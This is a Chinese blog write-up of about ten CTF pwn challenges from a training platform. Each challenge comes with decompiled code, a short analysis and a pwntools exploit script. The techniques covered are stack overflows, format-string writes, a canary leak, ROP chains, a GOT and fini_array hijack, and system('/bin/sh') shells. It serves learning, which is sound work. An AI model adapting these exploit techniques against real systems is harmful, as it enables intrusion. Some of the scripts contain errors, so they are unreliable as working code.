攻防世界进阶专区——PWN(1~10)

攻防世界进阶专区——PWN(1~10)

dice_game

image-20220323161437618

下载附件,是一个zip压缩文件,解压一下,再checksec一下:

image-20220323165013839

发现只有canary没开,作为一个少星的问题,太吓唬人了!

ida打开看一下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]   seed的rbp偏移值是10h,在输入szName的时候可以覆盖到seed的值。
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);    //buf存在输入点,输入限制是0x50,szName的rbp偏移值是50h,刚好相等,不能做栈溢出。
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28(buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

可以看出逻辑,和随机数有关,新手区里面也有个伪随机数,应该和这题有相似之处,把随机数的种子覆盖成我们定义的固定值。

srand(seed[0]);

再查看一下其他的函数:

signed __int64 sub_A20()
{
  signed __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h]
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}
int __fastcall sub_B28(__int64 a1)
{
  char s; // [rsp+10h] [rbp-70h]
  FILE *stream; // [rsp+78h] [rbp-8h]

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}

观察上述函数可以找到发现:buf存在输入点,输入限制是0x50,szName的rbp偏移值是50h,刚好相等,不能做栈溢出,但是seed的rbp偏移值是10h,在输入szName的时候可以覆盖到seed的值。

EXP:

构建payload:

#coding:utf8
from pwn import *
from ctypes import *
p = remote('111.200.241.244', 65518)
libc = cdll.LoadLibrary('/home/kali/Desktop/libc.so.6')
libc.srand(1)
payload = b'A' * 0x40 + p64(1)
p.sendlineafter('Welcome, let me know your name: ', payload)
for i in range(50):
    rand_value = libc.rand() % 6 + 1
    p.sendlineafter('Give me the point(1~6): ', str(rand_value))
p.interactive()

运行得到flag:

image-20220323183748823

forgot

image-20220323190217172

打开附件,查看基本信息:

image-20220323190545991

发现只开了NX,没有canary就意味着可以直接栈溢出

IDA打开查看一下:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD(&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();
  return fflush(stdout);
}

可以发现有两处溢出点,但是第一处没有什么价值,第二处溢出点:

image-20220323194704345

没有限制v2的输入,可以让v2溢出,main函数(\*(&v3 + –v14))()*意思是调用 指针(v3 + (v14 - 1))所指向的函数,如果v14等于1,那么这句话调用的就是v3原本指向的函数。

image-20220323195603631

而且第二个输入点有限制条件:

_BOOL4 __cdecl sub_8048702(char a1)
{
  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}

查看一下字符串窗口,可以看到几个有意思的点:

image-20220323192147729

追踪一下system,查看一下引用,找到:

int sub_80486CC()
{
  char s; // [esp+1Eh] [ebp-3Ah]
  snprintf(&s, 0x32u, "cat %s", "./flag");
  return system(&s);
}

思路:

  • 第一个输入点随便输入
  • 第二个输入让v2溢出,并且每位必须不符合条件,使v14的值一直是1
  • 溢出覆盖v3指向的地址,改成0x80486CC
  • 拿到flag

EXP:

from pwn import *
payload = b'A'*32 + p32(0x80486CC)    #v2到v3间距(0x74-0x54)即32
p = remote('111.200.241.244',63994)
p.sendlineafter('> ','abcd')
p.sendlineafter('> ',payload)
p.interactive()

image-20220323200300678

monkey

image-20220324200638991

下载附件,解压,查看基本信息:

image-20220324201209467

打开IDA看一下,头瞬间就大起来了,文件超级多,头很大,打开main函数也受不了。

image-20220324202133051

运行一下试试吧:

image-20220324202340817

发现返回的东西没有被定义,尝试输入一下命令:

image-20220324202712061

help有反应,其他的也尝试过但是没啥反馈,查看一下字符串:

image-20220324205841815

看网上的wp,显示师傅们找到了os.fileos.path两个字符串,然后猜想 os 搭配命令可以正常使用。

EXP:

参考师傅们的wp:

from pwn import *
context.log_level = 'debug'
process_name = './js'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.200.241.244', 57831)
# elf = ELF(process_name)
p.sendlineafter('js> ', 'os.system(\'cat flag\')')
p.interactive()

image-20220324211418174

小问题:

这里我在做的时候出现了个奇怪的现象:

image-20220324212034362

不知道啥情况。

反应釜开关控制

image-20220324212543636

打开环境,查看附件基本信息:

拖入IDA进行分析。

image-20220324213410819

再看一下 easy 函数和 easy里面的normal 函数:

image-20220324213938783

image-20220324214309403

再看一下shell

image-20220324214951821

这么多漏洞在,直接利用就完事了

EXP:

from pwn import*
p=remote("111.200.241.244":63940)
shell=0x4005f6
payload='a'*0x208+p64(shell)
p.recv()
p.sendline(payload)
p.interactive()

image-20220324220022773

实时数据监测

image-20220325153814771

打开环境,查看基本信息:

image-20220325154947745

啥都没开。。。。。

IDA查看一下main函数:

image-20220325155401097

再看一下locker函数:

image-20220325160627278

locker函数首先接受了一个字符串s,然后调用imagemagic函数,这个函数跟进去查看其实就是一个printf函数,最后比较key的值是不是为0x2223322,如果相等,返回shell,否则,打印key的地址和值,本地运行一下:

image-20220325161145696

首先找偏移量,printf("%p",a) 用地址的格式打印变量 a 的值。我们在前面输入AAAA,所以只需要在返回结果中找到0x41414141即可确定偏移。

image-20220325161626020

EXP:

from pwn import *
debug = False
if debug:
    conn = process('./data')
else:
    conn = remote('111.200.241.244', 59741)
key_addr = 0x0804a048
key_value = 0x2223322
payload = fmtstr_payload(12, {key_addr: key_value})
conn.sendline(payload)
conn.interactive()

image-20220325161928310

stack2

image-20220325180142732

打开环境,查看基本信息:

image-20220325180620542

尝试运行一下:

image-20220325181010542

没有啥收获,还是得拖到IDA进行分析,查看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

没有看到明显的漏洞,没办法只能去网上膜拜一下其他的大佬了,本题的栈溢出是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。

image-20220325184342886

再查看一下字符串:

image-20220325184548415

追踪一下,找到了奇怪的东西

image-20220325184717378

看一下这个hackhere:

int hackhere()
{
  return system("/bin/bash");
}

nice! 不过该函数调用system(''/bin/bash'),一般远程就留一个sh和cat。

我们可以利用system函数,直接执行system('sh')

然而搞了很长时间还是没有搞出来只能参考师傅们的wp了,这道题留到以后再重新搞吧。

EXP:(别的师傅的wp)

from pwn import *

def write_addr(index,value,io):
    io.sendline("3")
    io.sendlineafter("which number to change:\n",str(index))
    io.sendlineafter("new number:\n",str(value))

io = remote("111.200.241.244","63910")
context.log_level = 'debug'

addr_buf=0xffffcec8
addr_ret=0xffffcf4c
index = addr_ret - addr_buf

addr_sys = [0x50,0x84,0x04,0x08]
addr_sh = [0x87,0x89,0x04,0x08]

io.sendlineafter("How many numbers you have:\n","1")
io.sendlineafter("Give me your numbers\n","1")

for i in range(4):
    write_addr(index,addr_sys[i],io)
    index = index+1

for i in range(4):
    write_addr(index,addr_sys[i],io)
    index = index+1

for i in range(4):
    write_addr(index,addr_sh[i],io)
    index = index+1

io.sendline("5")
io.interactive()

Mary_Morton

image-20220328130625830

简单查看一下附件的基本信息:

image-20220328131057049

IDA打开看一下:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  v3 = "Select your weapon ";
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA(v3);
      v3 = "%d";
      __isoc99_scanf("%d", &v4);
      if ( v4 != 2 )
        break;
      sub_4008EB();
    }
    if ( v4 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v4 == 1 )
    {
      sub_400960();
    }
    else
    {
      v3 = "Wrong!";
      puts("Wrong!");
    }
  }
}

再查看一下其他的函数,找到了两个漏洞:

image-20220328131456205

image-20220328131548335

以及flag:

image-20220328132150313

image-20220328132211097

image-20220328132228821

但是本题开了Canary,关于这个,引用Nathan-Yang的解释

所谓的Canary保护是指在栈在保存rbp的位置之上,还保存了一个变量v。在函数执行结束,准备pop rbp和pop addr_ret之前,检查v是否被改变,如果改变了则说明发生了栈溢出,程序将会报错。v的实现逻辑和在栈中的位置如下图所示。

img

img

所以本题就是要利用格式化字符串漏洞绕过canary,再通过栈溢出得到flag。

计算偏移量:

image-20220328132643659

buf和v2相差了0x90-0x8=0x880x88/8=1717+6=23:

EXP:(书文winter)

from pwn import *
context.log_level = 'debug'
p = remote('111.200.241.244',56682)
p.recvuntil("Exit the battle ")
p.sendline(str(2))
p.sendline("%23$p")
p.recvuntil("0x")
canary = int(p.recv(16),16)
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

image-20220328133447096

Recho

image-20220328134036594

打开看一下基础信息:

image-20220328134225458

IDA打开看一下逻辑:

image-20220328134741287

可以分析出程序大意,先读取字符串长度存入nptrv7中,如果字符串长度小于15时将v7设为16,大于15则不变。然后读取v7个字符放入buf中,最后在末尾添上0并打印出来。如果v7很大,则read会造成溢出并覆盖。

查看一下字符串:

image-20220328134825145

找到flag字符串,继续看这个程序,这个循环是个死循环,如果直接使用close()函数程序会直接退出,看师傅们的wp,发现有一个shutdown()函数可以关闭IO流,让循环正常退出。

alarmopenreadwrite函数的实现都是通过syscall实现的,分析alarm:

image-20220329150852855

发现存在syscall。参考网上大佬的思路,大致是这样利用的:

  • 先利用Gadget配合修改alarm函数的got表项,指向syscall。
  • 传入相应的eax,open打开flag
  • 用read和write输出函数

EXP:顾言庭

import sys
from pwn import *
from LibcSearcher import LibcSearcher

rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()

context.log_level = "DEBUG"
pwn_file = './Recho'
elf = ELF(pwn_file)

if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
flag_str = 0x0000000000601058
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
save_flag_addr = 0x0000000000601060
add_ptr_rdi_al = 0x000000000040070d
sysenter_addr = alarm_addr = elf.got['alarm']

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx must be 0x0
    payload += p64(0x1)     # rbp must be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edx    arg1
    payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
    payload += b'A' * 56     # junk 6*8+8=56
    return payload

p1 = 0x40089A
p2 = 0x400880
payload = b'A'*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \
+ p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \
+ com_gadget(p1,p2,elf.got['read'],3,save_flag_addr,50) \
+ com_gadget(p1,p2,elf.got['write'],1,save_flag_addr,50)

if IS_LOCAL:
    gdb.attach(io,"break *0x400889\nc")
    pause()

rv()
se(str(len(payload)))
se(payload)
rv()
io.shutdown('write')
print(rv())

在运行师傅脚本的时候出现了这样的问题:

image-20220329155211392

EXP: 请务必让我来!

#! /usr/bin/env python
from pwn import *
context.log_level = 'debug'
elf=ELF('./Recho')
p=remote('111.200.241.244',61232)
#prdi=0x4008a3
#prsi=0x4008a1
#prdx=0x4006fe
#prax=0x4006fc
#padd=0x40070d
#flag=0x601058
#bss=0x601090
alarm=elf.plt['alarm']
read=elf.plt['read']
write=elf.plt['write']
printf=elf.plt['printf']
alarm_got=elf.got['alarm']
payload=b'a'*0x38
payload+=p64(0x4006fc)+p64(0x5)
payload+=p64(0x4008a3)+p64(alarm_got)
payload+=p64(0x40070d)
payload+=p64(0x4006fc)+p64(0x2)
payload+=p64(0x4008a3)+p64(0x601058)
payload+=p64(0x4006fe)+p64(0)
payload+=p64(0x4008a1)+p64(0)+p64(0)
payload+=p64(alarm)
payload+=p64(0x4008a3)+p64(3)      
payload+=p64(0x4008a1)+p64(0x601090+0x500)+p64(0)
payload+=p64(0x4006fe)+p64(0x30)
payload+=p64(read)
payload+=p64(0x4008a3)+p64(0x601090+0x500)
payload+=p64(printf)
p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200))
payload=payload.ljust(0x200,b'\x00')
p.send(payload)
p.recv()
p.shutdown('send')
p.interactive()
p.close()

image-20220329161913936

warmup

image-20220329162809671

题目没有给附件,远程连接:

nc 111.200.241.244 65049

image-20220329163154394

只能FUZZ了,阿巴阿巴

模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。

由于没有附件,只能模糊测试,所以要分三种情况去pwn:

  • 使用它给的地址:

    • p32
    • p64
  • 不使用它给的地址

由于溢出值不知道只能挨个尝试:

EXP:

from pwn import *
addr = 0x40060d
for i in range(70,75):
    print(i)
    r = remote("111.200.241.244",50304)
    payload = b'a'*i + p64(addr)
    r.recvuntil(b'>')
    r.sendline(payload)
    r.interactive()
    r.sendline(b'ls')
    r.sendline(b'ls')

welpwn

image-20220329212931328

随便查看一下信息:

image-20220329213325593

拖到IDA内查看逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo(&buf, &buf);
  return 0;
}

我一看就懵了,看了好几遍反应过来echo是个函数。。。。

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

echo函数是循环赋值read函数读取的数值,并打印出来,且遇到0时停止赋值,通过汇编可以知道echo函数申请的栈空间大小是0x20个字节,而read函数读取的字节大小时0x400个字节,这时候可以知道通过循环读取造成栈的溢出。

EXP:

from pwn import*
from LibcSearcher import*
p = remote("111.200.241.244",51718)
elf = ELF("welpwn")
context.log_level = 'debug'
puts_addr = elf.symbols["puts"]
write_plt = elf.symbols["write"]
write_got = elf.got["write"]
junk = 24
rop1 = 0x040089A
rop2 = 0x0400880
pop4r = 0x000000000040089c
popr = 0x04008a3
main_addr = 0x04007CD
p.recv()
payload = junk*'A'+p64(pop4r)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+p64(rop2)
payload += 56*'C'+p64(main_addr)
p.send(payload)
write_addr = u64(p.recv(8))
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
write_libc = libc.dump("write")
offset = write_addr-write_libc
sys_addr = libc.dump("system")+offset
binsh_addr = libc.dump("str_bin_sh")+offset
payload = junk*'A'+p64(pop4r)+p64(popr)+p64(binsh_addr)+p64(sys_addr)
p.recv()
p.send(payload)
#print p.recv()
p.interactive()

image-20220329214314638

greeting-150

image-20220330182353369

查看一下基础信息:

image-20220330182803477

拖到IDA查看一下逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(&v5, 64) )
    return puts("Don't ignore me ;( ");
  sprintf(&s, "Nice to meet you, %s :)\n", &v5);
  return printf(&s);
}
size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [esp+1Ch] [ebp-Ch]

  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

最后返回的printf(&s)存在格式化字符串漏洞,造成了任意地址的读写,测试一下:

aaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

image-20220330184805978

格式字符串的第12个参数, 这里往前2个字节是aa, 填充2个字节。 然后用"%c", "%n"可以修改该位置的数据, 这里需要双字节修改

在printf的格式化修饰符中,hn 为WORD(字),hhn为BYTE(字节),n为DWORD(双字)

然后就不会了,看大佬们wp思路是:.fini.array中的函数在main结束时被调用,修改其中的函数地址为_start,看到了这样一幅图:

img

程序退出后会依次遍历 .fini_array 中的每一个函数指针,那如果把 start 或者 main 函数的地址覆写到这里,就会使程序重新执行。

详细可以参考:详解64位静态编译程序的fini_array劫持及ROP攻击 - FreeBuf网络安全行业门户

image-20220330191330757

由上面的基本信息可以知道,got表可写,

  • 覆盖 fini_arraymain
  • 覆盖 strlen gotsystem_plt
  • 传参“/bin/sh”

由于.fini.array中原有的数据和_start高两位都一样,只需要修改后两位。

image-20220330192105712

查看mainsystem_pltstrlen_got地址:

image-20220330192625235

image-20220330193912390

image-20220330194111193

  1. fini_got = 0x8049934
  2. strlen_got = 0x8049A54
  3. main_addr = 0x80485ED
  4. system_plt = 0x8048490
  5. start_addr=0x80484F0

EXP:fa1c4

payload = ‘aa’ + p32(fini_array) + “%” + str(main_addr -4 -2 – strlen(“Nice to meet you,”)) + ‘c%12$hn’
from typing import ContextManager
from pwn import *

context.log_level = "debug"
sel = 1
filename = "./greeting-150"
URL, PORT = "111.200.241.244", 53619 
io = process(filename) if sel == 0 else remote(URL, PORT)

strlen_got = 0x08049A54
system_plt = 0x08048490
main_addr = 0x080485ED
fini_array = 0x08049934 

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490
length_pre = 18 # len("Nice to meet you, ")

payload = b"zz" + p32(strlen_got) + p32(strlen_got + 2) + p32(fini_array)
payload += b"%" + b"2020" + b"c%13$hn" # sysplt_num1 - 15 - length_pre == 0x7E4
payload += b"%" + b"31884" + b"c%12$hn" # sysplt_num2 - sysplt_num1 == 0x7C8C
payload += b"%" + b"349" + b"c%14$hn" # fini_num - sysplt_num2 == 0x15D

io.sendlineafter("Please tell me your name... ", payload)
io.sendlineafter("Please tell me your name... ", b"/bin/sh")
io.interactive()

image-20220330195429108

secret_file

image-20220330195508830

查看基础信息:

image-20220330195649009

保护全开了。。。。对于这个报错,上网查了一下是由于缺少openssl开源库libcrypto.so.1.1,加载好创建软连接即可:

ln -s libcrypto.so.1.1 libcrypto.so.1.0.0

拖到IDA查看:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  unsigned __int8 *v4; // rbp
  int *v5; // rbx
  __int64 v6; // rcx
  char *v7; // rdi
  unsigned int v8; // er12
  FILE *v9; // rbp
  __int64 v11; // [rsp+0h] [rbp-308h]
  char *lineptr; // [rsp+8h] [rbp-300h]
  char dest; // [rsp+10h] [rbp-2F8h]
  __int64 v14; // [rsp+110h] [rbp-1F8h]
  _BYTE v15[5]; // [rsp+12Bh] [rbp-1DDh]
  int v16; // [rsp+16Ch] [rbp-19Ch]
  int v17; // [rsp+18Ch] [rbp-17Ch]
  int v18; // [rsp+1CCh] [rbp-13Ch]
  char s; // [rsp+1D0h] [rbp-138h]
  unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]

  v20 = __readfsqword(0x28u);
  sub_E60(&dest, a2, a3);
  v11 = 0LL;
  lineptr = 0LL;
  if ( getline(&lineptr, (size_t *)&v11, stdin) == -1 )
    return 1;
  v3 = strrchr(lineptr, 10);
  if ( !v3 )
    return 1;
  *v3 = 0;
  v4 = (unsigned __int8 *)&v16;
  v5 = &v17;
  strcpy(&dest, lineptr);
  sub_DD0(&dest, &v16, 256LL);
  do
  {
    v6 = *v4;
    v7 = (char *)v5;
    v5 = (int *)((char *)v5 + 2);
    ++v4;
    snprintf(v7, 3uLL, "%02x", v6);
  }
  while ( v5 != &v18 );
  v8 = strcmp(v15, (const char *)&v17);
  if ( v8 )
  {
    puts("wrong password!");
    return 1;
  }
  v9 = popen((const char *)&v14, "r");
  if ( !v9 )
    return 1;
  while ( fgets(&s, 256, v9) )
    printf("%s", &s);
  fclose(v9);
  return v8;
}

分析逻辑可知:v8不为0就会输出"wrong password”,然后退出,如果v8等于0,那么后面会执行popen函数,该函数可以执行shell command

上网查了一下这个popen,Linux C popen()函数详解 - 52php - 博客园 (cnblogs.com):

popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c来执行参数command的指令。参数type可使用“r”代表读取,“w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。此外,所有使用文件指针(FILE*)操作的函数也都可以使用,除了fclose()以外。

  • 如果 type 为 r,那么调用进程读进 command 的标准输出。
  • 如果 type 为 w,那么调用进程写到 command 的标准输入。

然后要使v8==0,v15和v17两个字符串要相等,上面v7==v5v5 = &v17v6 = *v4v4 = (unsigned __int8 *)&v16

然后可以发现getline存在溢出,再查看一下其他函数:

unsigned __int64 __fastcall sub_E60(char *a1)
{
  __int64 v2; // [rsp+0h] [rbp-78h]
  __int64 v3; // [rsp+8h] [rbp-70h]
  __int64 v4; // [rsp+10h] [rbp-68h]
  __int16 v5; // [rsp+18h] [rbp-60h]
  char v6; // [rsp+1Ah] [rbp-5Eh]
  __int64 v7; // [rsp+20h] [rbp-58h]
  __int64 v8; // [rsp+28h] [rbp-50h]
  __int64 v9; // [rsp+30h] [rbp-48h]
  __int64 v10; // [rsp+38h] [rbp-40h]
  __int64 v11; // [rsp+40h] [rbp-38h]
  __int64 v12; // [rsp+48h] [rbp-30h]
  __int64 v13; // [rsp+50h] [rbp-28h]
  __int64 v14; // [rsp+58h] [rbp-20h]
  char v15; // [rsp+60h] [rbp-18h]
  unsigned __int64 v16; // [rsp+68h] [rbp-10h]

  v16 = __readfsqword(0x28u);
  v6 = 0;
  memset(a1, 0, 0x100uLL);
  v2 = 8386093036507587119LL;
  v3 = 7310014432551054880LL;
  v4 = 7002641623085768564LL;
  v5 = 25459;
  snprintf(
    a1 + 256,
    0x1BuLL,
    "%s",
    &v2,
    8386093036507587119LL,
    7310014432551054880LL,
    7002641623085768564LL,
    *(_QWORD *)&v5);
  v7 = 7291380990809223993LL;
  v8 = 3846974793129996595LL;
  v9 = 7149517611173568821LL;
  v10 = 7005684783558900022LL;
  v11 = 3703759022809560162LL;
  v12 = 3559359259495392098LL;
  v13 = 3544673966641145443LL;
  v14 = 3977295534107146545LL;
  v15 = 0;
  snprintf(a1 + 283, 0x41uLL, "%s", &v7);
  return __readfsqword(0x28u) ^ v16;
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
